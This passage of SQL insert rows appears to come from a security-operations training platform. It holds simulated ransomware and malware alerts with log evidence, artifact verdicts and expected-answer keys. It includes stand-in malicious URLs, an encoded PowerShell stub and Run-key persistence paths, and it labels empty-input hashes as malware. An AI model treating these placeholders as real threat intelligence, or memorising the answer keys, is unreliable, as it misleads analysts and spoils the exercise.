(1539, 'Persistence Mechanism Established via Registry Modification', 'high', 'Windows Registry Logs', 'Black Basta has modified the registry to establish persistence on the compromised system, indicating potential Conti heritage.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":4657,\"computer_name\":\"compromised-host.local\",\"user\":\"malicious_user\",\"registry_key_path\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\BlackBastaPersistence\",\"registry_value_name\":\"BlackBastaService\",\"registry_value_data\":\"\\\"C:\\\\Windows\\\\System32\\\\svchost.exe -k netsvcs\\\"\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\reg.exe\",\"process_id\":1234,\"source_ip\":\"185.123.45.67\",\"internal_ip\":\"192.168.1.100\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-15 19:11:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.123.45.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with Black Basta operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware samples.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"malicious_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account used for unauthorized registry modifications.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\BlackBastaPersistence\\\",\\\"registry_value_name\\\":\\\"BlackBastaService\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\\\\\"\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\reg.exe\\\",\\\"process_id\\\":1234,\\\"source_ip\\\":\\\"185.123.45.67\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\BlackBastaPersistence\\\",\\\"registry_value_name\\\":\\\"BlackBastaService\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\\\\\"\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\reg.exe\\\",\\\"process_id\\\":1234,\\\"source_ip\\\":\\\"185.123.45.67\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\BlackBastaPersistence\\\",\\\"registry_value_name\\\":\\\"BlackBastaService\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\\\\\"\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\reg.exe\\\",\\\"process_id\\\":1234,\\\"source_ip\\\":\\\"185.123.45.67\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\BlackBastaPersistence\\\",\\\"registry_value_name\\\":\\\"BlackBastaService\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\\\\\"\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\reg.exe\\\",\\\"process_id\\\":1234,\\\"source_ip\\\":\\\"185.123.45.67\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\BlackBastaPersistence\\\",\\\"registry_value_name\\\":\\\"BlackBastaService\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\\\\\"\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\reg.exe\\\",\\\"process_id\\\":1234,\\\"source_ip\\\":\\\"185.123.45.67\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1540, 'Lateral Movement Detected Across Network', 'high', 'Network Traffic Analysis', 'With persistence established, the attackers begin lateral movement using compromised credentials, spreading QBot to additional systems and escalating their control.', 'Lateral Movement', 'T1550 - Use Alternate Authentication Material', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:06:00Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"192.168.1.87\",\"external_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malware_filename\":\"qbot_payload.exe\",\"action\":\"lateral_movement\",\"protocol\":\"SMB\",\"description\":\"Detected lateral movement using compromised credentials to spread QBot malware.\"}', '2026-03-15 19:11:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.87\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target host.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with QBot C2 server.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to QBot malware sample.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"qbot_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection and Response\",\"verdict\":\"malicious\",\"details\":\"Executable file associated with QBot malware.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory Logs\",\"verdict\":\"suspicious\",\"details\":\"User credentials suspected to be compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1541, 'Sensitive Data Exfiltration Attempt', 'critical', 'Data Loss Prevention (DLP) System', 'An advanced persistent threat group, Black Basta, attempted to exfiltrate confidential data from the internal network as part of a double extortion scheme. The operation involved transferring sensitive files to an external server before encrypting the stolen data to demand a ransom.', 'Data Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:05:32Z\",\"event_id\":\"DLPEX123456\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jane.doe\",\"file_name\":\"confidential_report.docx\",\"hash\":\"6dcd4ce23d88e2ee9568ba546c007c63\",\"action\":\"exfiltration_attempt\",\"protocol\":\"FTP\",\"threat_actor\":\"Black Basta\"}', '2026-03-15 19:11:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal source IP address associated with the exfiltration attempt.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internet_reputation\",\"verdict\":\"malicious\",\"details\":\"External IP address linked to known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_report.docx\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_dlp\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document targeted for exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"6dcd4ce23d88e2ee9568ba546c007c63\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"File hash associated with Black Basta malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jane.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_hr\",\"verdict\":\"clean\",\"details\":\"Valid user account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.437Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:05:32Z\\\",\\\"event_id\\\":\\\"DLPEX123456\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jane.doe\\\",\\\"file_name\\\":\\\"confidential_report.docx\\\",\\\"hash\\\":\\\"6dcd4ce23d88e2ee9568ba546c007c63\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"threat_actor\\\":\\\"Black Basta\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.437Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:05:32Z\\\",\\\"event_id\\\":\\\"DLPEX123456\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jane.doe\\\",\\\"file_name\\\":\\\"confidential_report.docx\\\",\\\"hash\\\":\\\"6dcd4ce23d88e2ee9568ba546c007c63\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"threat_actor\\\":\\\"Black Basta\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.437Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:05:32Z\\\",\\\"event_id\\\":\\\"DLPEX123456\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jane.doe\\\",\\\"file_name\\\":\\\"confidential_report.docx\\\",\\\"hash\\\":\\\"6dcd4ce23d88e2ee9568ba546c007c63\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"threat_actor\\\":\\\"Black Basta\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.437Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:05:32Z\\\",\\\"event_id\\\":\\\"DLPEX123456\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jane.doe\\\",\\\"file_name\\\":\\\"confidential_report.docx\\\",\\\"hash\\\":\\\"6dcd4ce23d88e2ee9568ba546c007c63\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"threat_actor\\\":\\\"Black Basta\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.437Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:05:32Z\\\",\\\"event_id\\\":\\\"DLPEX123456\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jane.doe\\\",\\\"file_name\\\":\\\"confidential_report.docx\\\",\\\"hash\\\":\\\"6dcd4ce23d88e2ee9568ba546c007c63\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"threat_actor\\\":\\\"Black Basta\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1542, 'Suspicious Phishing Email Detected', 'high', 'Email Gateway Logs', 'A phishing email was detected targeting employees, attempting to gain entry to the network by tricking users into providing their credentials. The email contained a malicious link pointing to a credential harvesting site.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:00Z\",\"source_ip\":\"203.0.113.5\",\"destination_ip\":\"192.168.1.25\",\"subject\":\"Urgent: Update Required\",\"from\":\"attacker@example.com\",\"to\":\"employee@company.com\",\"malicious_url\":\"http://malicious-site.com/login\",\"attachment\":{\"filename\":\"Security_Update.docx\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\"},\"user_agent\":\"Mozilla/5.0\",\"x_mailer\":\"PhishMailer v2.3\"}', '2026-03-15 19:12:00', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known phishing server\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenPhish\",\"verdict\":\"malicious\",\"details\":\"Credential harvesting site\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Low detection rate\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"attacker@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation\",\"verdict\":\"malicious\",\"details\":\"Associated with multiple phishing campaigns\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Phishing Email Detected\",\"date\":\"2026-03-15T20:58:15.440Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1543, 'Malicious Macro Execution', 'high', 'Endpoint Detection and Response (EDR)', 'Upon opening the attachment in the phishing email, a macro is executed, serving as the initial payload to establish a foothold within the system. The macro downloaded additional malicious payloads that attempt to communicate with a known malicious IP.', 'Execution', 'T1059.005', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:11Z\",\"event_id\":\"EXE12345\",\"username\":\"jdoe\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.45\",\"file_name\":\"invoice_macro_v2.docm\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"process_name\":\"WINWORD.EXE\",\"command_line\":\"WINWORD.EXE /m invoice_macro_v2.docm\",\"malware_family\":\"Emotet\",\"malicious_url\":\"http://malicious-downloads.com/payload\",\"detected_by\":\"EDR\"}', '2026-03-15 19:12:00', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known command and control server for Emotet.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"invoice_macro_v2.docm\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File contains macro code commonly used in Emotet campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known Emotet macro payload.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-downloads.com/payload\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenPhish\",\"verdict\":\"malicious\",\"details\":\"URL associated with malware distribution.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1544, 'Establishing Persistence Mechanism', 'medium', 'Registry Change Logs', 'The attackers modify system registry settings to establish a persistent presence, allowing them to maintain access even after system reboots. A particular registry key associated with system startup was altered to include a malicious executable linked to known APT activity.', 'Persistence', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:23Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.20\",\"username\":\"compromised_user\",\"registry_path\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"action\":\"MODIFY\",\"new_value\":\"C:\\\\Windows\\\\System32\\\\malicious.exe\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"file\":\"malicious.exe\"}', '2026-03-15 19:12:00', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel\",\"verdict\":\"malicious\",\"details\":\"File recognized as a component of malware used in persistence mechanisms.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.451Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"MODIFY\\\",\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"file\\\":\\\"malicious.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.451Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"MODIFY\\\",\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"file\\\":\\\"malicious.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.451Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"MODIFY\\\",\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"file\\\":\\\"malicious.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.451Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 